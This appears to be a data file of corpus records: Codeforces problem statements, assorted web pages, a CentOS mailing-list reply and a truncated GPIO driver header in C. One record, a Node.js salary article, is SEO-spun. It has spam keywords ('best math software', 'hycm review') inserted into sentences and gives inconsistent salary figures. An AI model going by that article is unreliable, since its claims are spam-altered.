{"text": "There are n cities in the country where the Old Peykan lives. These cities are located on a straight line, we'll denote them from left to right as c1, c2, ..., cn. The Old Peykan wants to travel from city c1 to cn using roads. There are (n - 1) one way roads, the i-th road goes from city ci to city ci + 1 and is di kilometers long.\n\nThe Old Peykan travels 1 kilometer in 1 hour and consumes 1 liter of fuel during this time.\n\nEach city ci (except for the last city cn) has a supply of si liters of fuel which immediately transfers to the Old Peykan if it passes the city or stays in it. This supply refreshes instantly k hours after it transfers. The Old Peykan can stay in a city for a while and fill its fuel tank many times.\n\nInitially (at time zero) the Old Peykan is at city c1 and s1 liters of fuel is transferred to it's empty tank from c1's supply. The Old Peykan's fuel tank capacity is unlimited. Old Peykan can not continue its travel if its tank is emptied strictly between two cities.\n\nFind the minimum time the Old Peykan needs to reach city cn.", "source": "cpt_codeforces", "language": "en", "token_count": 261, "token_count_with_eod": 262, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "03 December 2015Tweet Follow @RezoundTraining\nFor a limited time, take any Microsoft Certified Professional (MCP) exam, and get a free retake if you don’t pass!\nThe Second Shot requires you to have scheduled an exam to take between between July 12, 2015, and January 12, 2016. If you don't pass then you need to schedule an appointment for your free retake within the next 30 calendar days of the initial appointment.\nDisclaimer - we're providing this information purely to illustrate the main rules and can take no responsibility for your exam bookings made directly via Pearson / Microsoft.\nHere's an example:\nWe've added more details on 'Second Shot' further down this blog page.\nMicrosoft exams have a number of different questions types which are designed to test your understanding of the particular subject area. MeasureUp practise tests are designed to give you feedback on each of the exam objectives. Simply using practise tests isn't sufficient to master a subject area - you'll need a comprehensive approach covering the breadth and depth of the exam.\nIn our next blog post we'll expand on the ideas below and provide links for further free and discounted resources. For example, we're currently providing:\nTo help you with this we're providing comprehensive structured checklists so you know the breadth and depth of the exam's objectives.\nFor additional information about Second Shot and other offers, email us.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 303, "token_count_with_eod": 304, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Andrew often reads articles in his favorite magazine 2Char. The main feature of these articles is that each of them uses at most two distinct letters. Andrew decided to send an article to the magazine, but as he hasn't written any article, he just decided to take a random one from magazine 26Char. However, before sending it to the magazine 2Char, he needs to adapt the text to the format of the journal. To do so, he removes some words from the chosen article, in such a way that the remaining text can be written using no more than two distinct letters.\n\nSince the payment depends from the number of non-space characters in the article, Andrew wants to keep the words with the maximum total length.", "source": "cpt_codeforces", "language": "en", "token_count": 149, "token_count_with_eod": 150, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "superscript — A superscript (as in x2, the mathematical notation for x multiplied by itself)\nphrase db._phrase |\n| | | | )*\nsuperscript identifies text that is to be\ndisplayed as a superscript when rendered.\nFormatted inline. Superscripts are usually printed in a smaller font and shifted up with respect to the baseline.\n<article xmlns='http://docbook.org/ns/docbook'> <title>Example superscript</title> <para>The equation e<superscript>πi</superscript> + 1 = 0 ties together five of the most important mathematical constants. </para> </article>", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 138, "token_count_with_eod": 139, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Location Based Customer Engagement\nSmartphone penetration has risen to over 56% of the Canadian population. Smartphone owners are becoming increasingly reliant on their devices with 66% accessing the Internet every day on their smartphone and most never leaving home without it . Harnessing this trend has never been more important for organizations seeking to capture and retain customers.\nProximity and geo-based marketing engagement allows organizations to provide the right information at the right time and the right place. This allows organizations to drive more revenue, improve customer experience, and develop deeper insights into visitors.\nPurple Forge Mobile Apps as a Service (MAaaS) supports comprehensive proximity-based and geo-based user engagement capabilities for iPhone; Android devices currently support a subset of features due to platform limitations.\nDuring the installation of a Purple Forge MAaaS-based application, users may give the application permission to access to their location (e.g. GPS location). In such cases the application can use this information to offer location-enhanced services for information discovery and alerting purposes.\nPurple Forge MAaaS information directories can be automatically sorted to show entries that are closest to the user based on their current location. The user can then view this information on a map and getdirections. This allows users to find retail or venue locations that are nearest to them.\nPurple Forge MAaaS supports geo-based (also known as geo-fenced) contextual alerts. One or more geographic regions may be specified, as a latitude / longitude and a radius. This means that Purple Forge MAaaS can be configured to take actions to provide information or collect anonymous business intelligence related to specific regions.\nActions can be configured that are associated with specified geographic regions. The actions can be triggered based on whether the user enters or exits specific regions. Available actions include: count entries and exits (anonymous counts), generate an alert message on the user’s phone, generate an alert message with a suggested website to visit (e.g. to offer the user an exit survey), generate an alert and show the user a specific directory information entry (e.g. to tell the user about events, venue specific updates (e.g. renovation updates), tell the user about special offers).\nProximity-based engagement is similar to that of geo-based engagement but is focused around initiating actions based on how close a person is to a location or thing that has a beacon physically associated with it.\nBeacons are small physical devices (as small as a quarter), which broadcast a radio signal that can be detected by smartphones. Note that “beacon” and “iBeacon” terms are often used interchangeably. iBeacon is an Apple specific implementation of a beacon.\nProximity to a beacon is viewed as “far”, “near”, or “close”.\nProximity-based use cases include:\n- Window advertising, e.g. pop-up offers or incentives to draw someone who is standing in front of a window display to come inside the store and make a purchase\n- Advertising, e.g. pop-up information which augments bill board signage\n- Offers and deals, e.g. present special offers to users based on their proximity to a specific product or entrance\n- Visitor communications, e.g. letting people know about venue changes due to renovations, or alerting visitors in the food-court about closing times and encouraging them to visit retailers prior to departing\n- Display a menu, e.g. a prospective customer who is standing in front of the entrance to a restaurant\n- Capture analytic information on users around a beacon, e.g. for a window display beacon it will be possible to count the number of users who pass in front of the window display\n- Offer on entry to a venue, e.g. contest entry, sign-up for newsletter, on-site events, special offers and deals", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 760, "token_count_with_eod": 761, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "On Sat, 21 Aug 2021 at 08:44, Leon Fauster via CentOS-devel <centos-devel at centos.org> wrote: > > On 20.08.21 19:36, Carl George wrote: > > Not exactly. Sometimes RHEL maintainers add digits after %dist, which > > results in NVRs like foo-1.0-1.module_el8.4.0+123+a0a0a0a0.1. It's > > not impossible to parse, but it's much more complicated that just > > ignoring everything after \".module\". > > > and BTW > > RH uses the plus sign after module and before %dist : > > RH:qemu-img-4.2.0-48.module+el8.4.0+11909+3300d70f.3.x86_64 > C8:qemu-img-4.2.0-48.module_el8.4.0+885+5e18b468.3.x86_64 > > is this intentional? As far as I know it is intentional to make it clearer to parsing tools that there was a difference. If they used a _ that would break some existing tools and if they used . (dot) it would break a lot more. Using the + was found to break the least of the ones that were being looked at in Fedora 27? days when this was being set up. [Basically various versions were tried, various tools were tested and all kinds of fun and 'laughter' when you find that your Nagios, corporate antivirus, etc now assumes your architecture is .885 versus .x86_64 or some other item. -- Stephen J Smoogen. I've seen things you people wouldn't believe. Flame wars in sci.astro.orion. I have seen SPAM filters overload because of Godwin's Law. All those moments will be lost in time... like posts on BBS... time to reboot.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 447, "token_count_with_eod": 448, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "January 30, 2014\nWe are excited to announce that we are accepting nominations for Work-Bench’s inaugural Enterprise 30 Under 30 list to recognize the hardworking individuals revolutionizing enterprise technology as we know it.\nIn an era of unprecedented technological innovation in the enterprise market - marked by the large-scale adoption of cloud-computing, the consumerization of IT, and new paradigms of distribution - never before have enterprise technology startups and their founders been so uniquely positioned to disrupt legacy vendors and redefine how the world’s largest companies work.\nFounded on the mission to provide a home to these intrepid entrepreneurs shaping the future of work, Work-Bench would like to recognize those outstanding individuals accelerating this paradigm shift in enterprise IT to more useful, powerful, and better designed business tools.\nWhether you run an enterprise technology startup or are innovating within an IT organization of a large corporation, we would love to hear from you. From data scientists to growth hackers, from developers to marketers, we want to know who is shaping the future of work.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 219, "token_count_with_eod": 220, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Given a lowercase Latin character (letter), check if it appears in the string $$$\\texttt{codeforces}$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 25, "token_count_with_eod": 26, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "By doing so, you avoid the hassle of recruitment, HR, and legal obligations. You just hire an engineer to do a certain job on time and pay them only when the job is done well. At the same time, Indeed provides a much more detailed picture, with best math software a backend developer salary reaching up to $119,583 annually. For example, as Twitter, Spotify, Salesforce, and other companies decide to go full-flexible and cut on office spendings, they can pay the money saved to their now-remote workers.\nBe prepared to offer a competitive salary, and make sure youscreen your candidatesproperly. Sadly, there are no other sources that compare average salaries for Node.js developers in different states. Clearly, the data provided by different platforms differ from each other.\nWhat can I build with node js?\n- Real-Time Chat Application. Node.\n- Social Media Platform. Another usage for node js is a social media platform.\n- IoT (Internet of Things)\n- Streaming App.\n- Online Payment Processor.\n- Remote Collaboration Tool.\n- CRM Tool.\n- Single-Page Application.\nIn this blog, we will explore the Node.JS developer salaries in the USA. In addition, we will check out what Node.JS talents earn in the rest of the world. Collaborate with front-end developers to build an integrated application.\nAccording to Glassdoor, a Node.JS software engineer earns $103,551 per year as an average salary. Considering Latin America, the average salary of NodeJS developers in Colombia is $56K, in Argentina – $60K, in Mexico – $68K per year. But remember that developers’ salaries show the cost that developers earn for their job. Well, according to PayScale, an average base full stack software developer salary is $78,967.\nAlthough I had read a few Turing.com reviews about the onboarding process here, I never really expected it to be this awesome. My coordinator helped me in every single step- from getting hired by top Silicon Valley clients to making sure my needs were met at all levels. Companies should consider hiring a Node.js Developer when they need to develop fast and scalable network applications, data streaming applications, or any manner of collaborative tools.\nWhat does a NodeJS Developer do?\nIs node js a compiler?\nIn this way, Node.js development is very much like a more specialized form of full-stack development. However, businesses can expect to pay lower salaries in regions like Eastern Europe. You may be able to hire a Node.JS developer for $67K per year or more. In comparison, the cost of living is lower in regions like Eastern Europe.\nThey have a clear understanding of development using NodeJS and are often be mentored by their seniors for learning the ins and outs of programming in the real world. Junior developers often don’t hycm review have the knowledge of a lot of other programming languages apart from their area of expertise. They are helpful in basic coding tasks that do not require creating complicated solutions.\nRemote Node js developer jobs with U.S. companies in 2022\nThe United States is by far not the only location where Node.js engineers reside, so you might want to search abroad. Firstly, I will give an overview of some European countries based on PayScale data and will add information related to Israel for comparison. I will now aggregate and reiterate the previously mentioned data to help you understand the reasons behind higher or lower costs to hire a Node.js developer team in various regions. We will cover Node js developer responsibilities later on, and you will see they are not much different from any other full stack developer with JS expertise.\nAs a result, many Node.js developers have had some experience with otherlanguagesbefore. Curious, what is the average annual income for Node.js developers in the country? According to Payscale, it is around $59k (€48k) per year, while the hourly rate is $20 (€16). The average monthly salary for Node.js developers in Denmark, according to Salaryexplorer, is about $6,7 . At the same time, the salary for IT specialists with Node.js skills in Copenhagen is $7 . When trying to find out what Node.js developers’ salaries are in Europe, we should not forget that salaries vary for each European country.\nHiring developers from big US cities such as New York, Los Angeles, and San Francisco will cost you much more since the cost of living in these cities is very high. The annual salary in these regions is around $120,000, according to ZipRecruiter, and almost twice more for senior NodeJS engineers. It is the combination of our core business model and values that makes us different from others. We provide full-time, long-term projects to remote developers whereas most of our competitors offer more freelance jobs. We, at Turing, hire remote developers for over 100 skills like React/Node, Python, Angular, Swift, React Native, Android, Java, Rails, Golang, PHP, Vue, among several others.\nNode.js is a well-developed resource with an active community around it. That’s hardly surprising, given that there are more and more developers who have started using it for their own purposes. As demand grows, though, it will get more difficult to hire top Node.js developers.\nIn addition, most developers are “fluent” in several languages, which will affect the final figures. Average salaries are single data points and only one part of a bigger story. It’s expected that many respondents may earn significantly more or significantly less than these averages. However, we hope to map underlying trends by mapping the average salaries for different experience levels. Location is usually one of the biggest factors in how much compensation many developers are paid across the US. In such a vast country, salaries can vary widely from place to place.\nProminent Skills Affecting Software Developer Salary\nHowever, in our experience, the actual costs can be up to 20% higher . Add up the various benefits and be prepared to pay your Node.js engineer up to $119,624 a year. The average full stack developer salary rose by 3% in New York and by 5% in the SF Bay Area. Below the main factors shaping the average Node.js developer salary across the United States are discussed. As you probably know, Node.js developers are responsible for server-side development.\nOnce you clear these tests, you are eligible to apply to a wide range of jobs available based on your skills. Worldwide, tech companies are actively looking for experienced Node.js developers and practitioners. If you’re a Node.js developer looking for a remote job, you can apply at Turing.com.\nInstating a rewarding mentorship program can help form a productive long-term partnership within the team. Most importantly, a junior-level developer must aspire to learn the language better. To ensure they don’t make costly mistakes while doing so, it is a good practice to assign a more experienced mentor to them—a middle-level Node.js developer.\nLearn more about our current job openings and benefits of working at FSL. The whole HR process is very fast and smooth – just leave your requirements on the website and you will be immediately contacted. After agreeing on the type of your future team Mobilunity will start looking for candidates. Shortly after you will be given a list of potential hires to choose from.\nTo hire Nodejs developer might, in fact, be one of the smartest decisions for any business. A Node.js development company could assist you with plenty of things, which typically differ, depending on the company’s needs. Another task such a specialist could assist you with is back-end development, front-end integrations, and such. NodeJS is used by software engineers to write server-side code in addition to the client-side code, and they don’t need to learn a completely new language for it.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1642, "token_count_with_eod": 1643, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "- Worldbuilding 13.3k 13.3k 11 gold badge2424 silver badges4646 bronze badges\n- Personal Finance & Money 7k 7k 11 gold badge2020 silver badges2828 bronze badges\n- Politics 6.6k 6.6k 11 gold badge1313 silver badges2525 bronze badges\n- Biology 3k 3k 1515 silver badges1313 bronze badges\n- History 1.7k 1.7k 11 gold badge1111 silver badges1111 bronze badges\n- View network profile →\nTop network posts\n- 87 My parents claim they cannot pay for my college education; what are my options?\n- 81 How come large herbivores have such thin legs?\n- 79 how do you value what your leisure time is worth?\n- 78 Why don't US presidential candidates get thrown into jail by their opponent during election?\n- 74 Was the \"natural born citizen\" requirement for the President inserted into the US Constitution by Alexander Hamilton's enemies?\n- 65 Wasp hives in a walking corpse. Why would wasps do this?\n- 58 Why do people save so much?\n- View more network posts →", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 294, "token_count_with_eod": 295, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A patient has been infected with an unknown disease. His body can be seen as an infinite grid of triangular cells which looks as follows:\n\nTwo cells are neighboring if they share a side. Therefore, each cell ($$$x$$$, $$$y$$$) has exactly three neighbors:\n\n- ($$$x+1$$$, $$$y$$$)\n- ($$$x-1$$$, $$$y$$$)\n- ($$$x+1$$$, $$$y-1$$$) if $$$x$$$ is even and ($$$x-1$$$, $$$y+1$$$) otherwise.\n\nInitially some cells are infected, all the others are healthy. The process of recovery begins. Each second, for exactly one cell (even though there might be multiple cells that could change its state) one of the following happens:\n\n- A healthy cell with at least $$$2$$$ infected neighbors also becomes infected.\n- An infected cell with at least $$$2$$$ healthy neighbors also becomes healthy.\n\nIf no such cell exists, the process of recovery stops. Patient is considered recovered if the process of recovery has stopped and all the cells are healthy.\n\nWe're interested in a worst-case scenario: is it possible that the patient never recovers, or if it's not possible, what is the maximum possible duration of the recovery process?", "source": "cpt_codeforces", "language": "en", "token_count": 268, "token_count_with_eod": 269, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Agora Twitter Integration\n- pull agora social media integration\n- Twitter could integrate with the Agora, or the other way around, in several seemingly productive ways.\n- One way would be to automatically pull tweets that use wikilinks as backlinks in the matching node.\nAnother way would be to automatically tweet blocks with action tweet for users which added twitter integration, like so:\n- tweet if you write a block like this, the Agora will tweet it (exactly once, etc.)\n- Probably should support scheduling, throttling, etc.\n- The agora will also auto-embed tweets by default. The following is a demo.\n🌉 bridge to [[agora social media integration]] built by an Agora user\n🏛️ Stoas for [[@flancian/agora twitter integration]]\n📖 Open document (Hedgedoc) at https://doc.anagora.org/agora-twitter-integration 📖 Open document (Etherpad) at https://stoa.anagora.org/p/agora-twitter-integration", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 217, "token_count_with_eod": 218, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/**\n * \\addtogroup BSP\n * \\{\n * \\addtogroup DEVICES\n * \\{\n * \\addtogroup GPIO\n * \\{\n * \\brief GPIO Control\n */\n\n/**\n *****************************************************************************************\n *\n * @file hw_gpio.h\n *\n * @brief Definition of API for the GPIO Low Level Driver.\n *\n * Copyright (c) 2016, Dialog Semiconductor\n * All rights reserved.\n * Redistribution and use in source and binary forms, with or without modification, \n * are permitted provided that the following conditions are met:\n * 1. Redistributions of source code must retain the above copyright notice, \n *    this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright notice,\n *    this list of conditions and the following disclaimer in the documentation \n *    and/or other materials provided with the distribution.\n * 3. Neither the name of the copyright holder nor the names of its contributors \n *    may be used to endorse or promote products derived from this software without \n *    specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" \n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED \n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. \n * IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, \n * INDIRECT, INCIDENTAL,  SPECIAL,  EXEMPLARY,  OR CONSEQUENTIAL DAMAGES (INCLUDING, \n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, \n * OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n * WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED \n * OF THE POSSIBILITY OF SUCH DAMAGE.\n *\n *\n *****************************************************************************************\n */\n\n#ifndef HW_GPIO_H_\n#define HW_GPIO_H_\n\n#if dg_configUSE_HW_GPIO\n\n#include <stdbool.h>\n#include <stdint.h>\n#include <sdk_defs.h>\n\n/* GPIO layout definitions */\n\n/** Number of GPIO ports available */\n#define HW_GPIO_NUM_PORTS       (5)\n/** Number of GPIO pins available (cumulative) */\n#define HW_GPIO_NUM_PINS        (HW_GPIO_PORT_0_NUM_PINS + HW_GPIO_PORT_1_NUM_PINS + \\\n                                        HW_GPIO_PORT_2_NUM_PINS + HW_GPIO_PORT_3_NUM_PINS + \\\n                                        HW_GPIO_PORT_4_NUM_PINS)\n/** Number of GPIO pins available in port 0 */\n#define HW_GPIO_PORT_0_NUM_PINS (8)\n/** Number of GPIO pins available in port 1 */\n#define HW_GPIO_PORT_1_NUM_PINS (8)\n/** Number of GPIO pins available in port 2 */\n#define HW_GPIO_PORT_2_NUM_PINS (5)\n/** Number of GPIO pins available in port 3 */\n#define HW_GPIO_PORT_3_NUM_PINS (8)\n/** Number of GPIO pins available in port 4 */\n#define HW_GPIO_PORT_4_NUM_PINS (8)\n/** Number of pins in each GPIO port */\nextern const uint8_t hw_gpio_port_num_pins[HW_GPIO_NUM_PORTS];\n\n\n/**\n * \\brief GPIO input/output mode\n *\n */\ntypedef enum {\n        HW_GPIO_MODE_INPUT = 0,                 /**< GPIO as an input */\n        HW_GPIO_MODE_INPUT_PULLUP = 0x100,      /**< GPIO as an input with pull-up */\n        HW_GPIO_MODE_INPUT_PULLDOWN = 0x200,    /**< GPIO as an input with pull-down */\n        HW_GPIO_MODE_OUTPUT = 0x300,            /**< GPIO as an (implicitly push-pull) output */\n        HW_GPIO_MODE_OUTPUT_PUSH_PULL = 0x300,  /**< GPIO as an (explicitly push-pull) output */\n        HW_GPIO_MODE_OUTPUT_OPEN_DRAIN = 0x700, /**< GPIO as an open-drain output */\n} HW_GPIO_MODE;\n\n/**\n * \\brief GPIO power source\n *\n */\ntypedef enum {\n        HW_GPIO_POWER_V33 = 0,          /**< V33 (3.3 V) power rail */\n        HW_GPIO_POWER_VDD1V8P = 1,      /**< VDD1V8P (1.8 V) power rail */\n} HW_GPIO_POWER;\n\n/**\n * \\brief GPIO port number\n *\n */\ntypedef enum {\n        HW_GPIO_PORT_0 = 0,     /**< GPIO Port 0 */\n        HW_GPIO_PORT_1 = 1,     /**< GPIO Port 1 */\n        HW_GPIO_PORT_2 = 2,     /**< GPIO Port 2 */\n        HW_GPIO_PORT_3 = 3,     /**< GPIO Port 3 */\n        HW_GPIO_PORT_4 = 4      /**< GPIO Port 4 */\n} HW_GPIO_PORT;\n\n/**\n * \\brief GPIO pin number\n *\n */\ntypedef enum {\n        HW_GPIO_PIN_0 = 0,      /**< GPIO Pin 0 */\n        HW_GPIO_PIN_1 = 1,      /**< GPIO Pin 1 */\n        HW_GPIO_PIN_2 = 2,      /**< GPIO Pin 2 */\n        HW_GPIO_PIN_3 = 3,      /**< GPIO Pin 3 */\n        HW_GPIO_PIN_4 = 4,      /**< GPIO Pin 4 */\n        HW_GPIO_PIN_5 = 5,      /**< GPIO Pin 5 */\n        HW_GPIO_PIN_6 = 6,      /**< GPIO Pin 6 */\n        HW_GPIO_PIN_7 = 7,      /**< GPIO Pin 7 */\n} HW_GPIO_PIN;\n\n/**\n * \\brief GPIO function\n *\n */\ntypedef enum {\n        HW_GPIO_FUNC_GPIO = 0,                  /**< GPIO */\n        HW_GPIO_FUNC_UART_RX = 1,               /**< GPIO as UART RX */\n        HW_GPIO_FUNC_UART_TX = 2,               /**< GPIO as UART TX */\n        HW_GPIO_FUNC_UART_IRDA_RX = 3,          /**< GPIO as UART IRDA RX */\n        HW_GPIO_FUNC_UART_IRDA_TX = 4,          /**< GPIO as UART IRDA TX */\n        HW_GPIO_FUNC_UART2_RX = 5,              /**< GPIO as UART2 RX */\n        HW_GPIO_FUNC_UART2_TX = 6,              /**< GPIO as UART2 TX */\n        HW_GPIO_FUNC_UART2_IRDA_RX = 7,         /**< GPIO as UART2 IRDA RX */\n        HW_GPIO_FUNC_UART2_IRDA_TX = 8,         /**< GPIO as UART2 IRDA TX */\n        HW_GPIO_FUNC_UART2_CTSN = 9,            /**< GPIO as UART2 CTSN */\n        HW_GPIO_FUNC_UART2_RTSN = 10,           /**< GPIO as UART2 RTSN */\n        HW_GPIO_FUNC_SPI_DI = 11,               /**< GPIO as SPI DI */\n        HW_GPIO_FUNC_SPI_DO = 12,               /**< GPIO as SPI DO */\n        HW_GPIO_FUNC_SPI_CLK = 13,              /**< GPIO as SPI CLK */\n        HW_GPIO_FUNC_SPI_EN = 14,               /**< GPIO as SPI EN */\n        HW_GPIO_FUNC_SPI2_DI = 15,              /**< GPIO as SPI2 DI */\n        HW_GPIO_FUNC_SPI2_DO = 16,              /**< GPIO as SPI2 DO */\n        HW_GPIO_FUNC_SPI2_CLK = 17,             /**< GPIO as SPI2 CLK */\n        HW_GPIO_FUNC_SPI2_EN = 18,              /**< GPIO as SPI2 EN */\n        HW_GPIO_FUNC_I2C_SCL = 19,              /**< GPIO as I2C SCL */\n        HW_GPIO_FUNC_I2C_SDA = 20,              /**< GPIO as I2C SDA */\n        HW_GPIO_FUNC_I2C2_SCL = 21,             /**< GPIO as I2C2 SCL */\n        HW_GPIO_FUNC_I2C2_SDA = 22,             /**< GPIO as I2C2 SDA */\n        HW_GPIO_FUNC_PWM0 = 23,                 /**< GPIO as PWM0 */\n        HW_GPIO_FUNC_PWM1 = 24,                 /**< GPIO as PWM1 */\n        HW_GPIO_FUNC_PWM2 = 25,                 /**< GPIO as PWM2 */\n        HW_GPIO_FUNC_PWM3 = 26,                 /**< GPIO as PWM3 */\n        HW_GPIO_FUNC_PWM4 = 27,                 /**< GPIO as PWM4 */\n        HW_GPIO_FUNC_BLE_DIAG = 28,             /**< GPIO as BLE DIAG */\n        HW_GPIO_FUNC_FTDF_DIAG = 29,            /**< GPIO as FTDF DIAG */\n        HW_GPIO_FUNC_PCM_DI = 30,               /**< GPIO as PCM DI */\n        HW_GPIO_FUNC_PCM_DO = 31,               /**< GPIO as PCM DO */\n        HW_GPIO_FUNC_PCM_FSC = 32,              /**< GPIO as PCM FSC */\n        HW_GPIO_FUNC_PCM_CLK = 33,              /**< GPIO as PCM CLK */\n        HW_GPIO_FUNC_PDM_DI = 34,               /**< GPIO as PDM DI */\n        HW_GPIO_FUNC_PDM_DO = 35,               /**< GPIO as PDM DO */\n        HW_GPIO_FUNC_PDM_CLK = 36,              /**< GPIO as PDM CLK */\n        HW_GPIO_FUNC_USB_SOF = 37,              /**< GPIO as USB SOF */\n        HW_GPIO_FUNC_ADC = 38,                  /**< GPIO as ADC */\n        HW_GPIO_FUNC_USB = 38,                  /**< GPIO as USB */\n        HW_GPIO_FUNC_QSPI = 38,                 /**< GPIO as QSPI */\n        HW_GPIO_FUNC_XTAL32 = 38,               /**< GPIO as XTAL32 */\n        HW_GPIO_FUNC_QUADEC_XA = 39,            /**< GPIO as QUADEC XA */\n        HW_GPIO_FUNC_QUADEC_XB = 40,            /**< GPIO as QUADEC XB */\n        HW_GPIO_FUNC_QUADEC_YA = 41,            /**< GPIO as QUADEC YA */\n        HW_GPIO_FUNC_QUADEC_YB = 42,            /**< GPIO as QUADEC YB */\n        HW_GPIO_FUNC_QUADEC_ZA = 43,            /**< GPIO as QUADEC ZA */\n        HW_GPIO_FUNC_QUADEC_ZB = 44,            /**< GPIO as QUADEC ZB */\n        HW_GPIO_FUNC_IR_OUT = 45,               /**< GPIO as IR OUT */\n        HW_GPIO_FUNC_BREATH = 46,               /**< GPIO as BREATH */\n        HW_GPIO_FUNC_KB_ROW = 47,               /**< GPIO as KB ROW */\n        HW_GPIO_FUNC_COEX_EXT_ACT0 = 48,        /**< GPIO as COEX EXT ACT0 */\n        HW_GPIO_FUNC_COEX_EXT_ACT1 = 49,        /**< GPIO as COEX EXT ACT1 */\n        HW_GPIO_FUNC_COEX_SMART_ACT = 50,       /**< GPIO as COEX SMART ACT */\n        HW_GPIO_FUNC_COEX_SMART_PRI = 51,       /**< GPIO as COEX SMART PRI */\n        HW_GPIO_FUNC_CLOCK = 52,                /**< GPIO as CLOCK */\n        HW_GPIO_FUNC_ONESHOT = 53,              /**< GPIO as ONESHOT */\n        HW_GPIO_FUNC_PWM5 = 54,                 /**< GPIO as PWM5 */\n        HW_GPIO_FUNC_PORT0_DCF = 55,            /**< GPIO as PORT0 DCF */\n        HW_GPIO_FUNC_PORT1_DCF = 56,            /**< GPIO as PORT1 DCF */\n        HW_GPIO_FUNC_PORT2_DCF = 57,            /**< GPIO as PORT2 DCF */\n        HW_GPIO_FUNC_PORT3_DCF = 58,            /**< GPIO as PORT3 DCF */\n        HW_GPIO_FUNC_PORT4_DCF = 59,            /**< GPIO as PORT4 DCF */\n        HW_GPIO_FUNC_RF_ANT_TRIM0 = 60,         /**< GPIO as RF ANT TRIM0 */\n        HW_GPIO_FUNC_RF_ANT_TRIM1 = 61,         /**< GPIO as RF ANT TRIM1 */\n        HW_GPIO_FUNC_RF_ANT_TRIM2 = 62          /**< GPIO as RF ANT TRIM2 */\n} HW_GPIO_FUNC;\n\n/**\n * \\brief GPIO pin configuration\n *\n * It's recommended to use \\p HW_GPIO_PINCONFIG and \\p HW_GPIO_PINCONFIG_RESERVE to set pin entries.\n * Each configuration must be terminated using \\p HW_GPIO_PINCONFIG_END macro.\n *\n */\ntypedef struct {\n        uint8_t         pin;     /**< pin name, high-nibble is port number and low-nibble is pin */\n        HW_GPIO_MODE    mode;    /**< pin mode */\n        HW_GPIO_FUNC    func;    /**< pin function */\n        bool            high;    /**< initial pin state, true for high and false for low */\n        bool            reserve; /*<< true if pin should be also reserved */\n} __attribute__((packed)) gpio_config;\n\n/**\n * \\brief GPIO pin configuration for \\p gpio_config\n *\n * \\p xport and \\p xpin are specified as symbols from \\p HW_GPIO_PORT and \\p HW_GPIO_PIN enums\n * respectively or more conveniently as plain numeric values.\n * \\p xmode and \\p xfunc have the same values as defined in \\p HW_GPIO_MODE and \\p HW_GPIO_FUNC enums\n * respectively, except they have prefix stripped.\n *\n * \\param [in] xport port number\n * \\param [in] xpin pin number\n * \\param [in] xmode pin mode\n * \\param [in] xfunc pin function\n * \\param [in] xhigh true for high state, false otherwise\n *\n */\n#define HW_GPIO_PINCONFIG(xport, xpin, xmode, xfunc, xhigh) \\\n        {                                               \\\n                .pin = (xport << 4) | (xpin & 0x0F),    \\\n                .mode = HW_GPIO_MODE_ ## xmode,         \\\n                .func = HW_GPIO_FUNC_ ## xfunc,         \\\n                .high = xhigh,                          \\\n                .reserve = false,                       \\\n        }\n\n/**\n * \\brief GPIO pin configuration and reservation for \\p gpio_config\n *\n * This macro is virtually identical to \\p HW_GPIO_PINCONFIG, except it also reserves pin.\n *\n * \\param [in] xport port number\n * \\param [in] xpin pin number\n * \\param [in] xmode pin mode\n * \\param [in] xfunc pin function\n * \\param [in] xhigh true for high state, false otherwise\n *\n * \\sa HW_GPIO_PINCONFIG\n *\n */\n#define HW_GPIO_PINCONFIG_RESERVE(xport, xpin, xmode, xfunc, xhigh) \\\n        {                                               \\\n                .pin = (xport << 4) | (xpin & 0x0F),    \\\n                .mode = HW_GPIO_MODE_ ## xmode,         \\\n                .func = HW_GPIO_FUNC_ ## xfunc,         \\\n                .high = xhigh,                          \\\n                .reserve = true,                        \\\n        }\n\n/**\n * \\brief Macro to properly terminate array of \\p gpio_config definition\n *\n */\n#define HW_GPIO_PINCONFIG_END \\\n        {                       \\\n                .pin = 0xFF,    \\\n        }\n\n/**\n * \\brief GPIO configuration\n *\n * This is a shortcut to configure multiple GPIOs in one call.\n * \\p cfg is an array of GPIO pins configuration, it should be terminated by dummy element with\n * \\p pin member set to 0xFF (macro \\p HW_GPIO_PINCONFIG can be used for this purpose).\n *\n * \\param [in] cfg GPIO pins configuration\n *\n * \\sa hw_gpio_configure_pin\n * \\sa hw_gpio_set_pin_function\n *\n 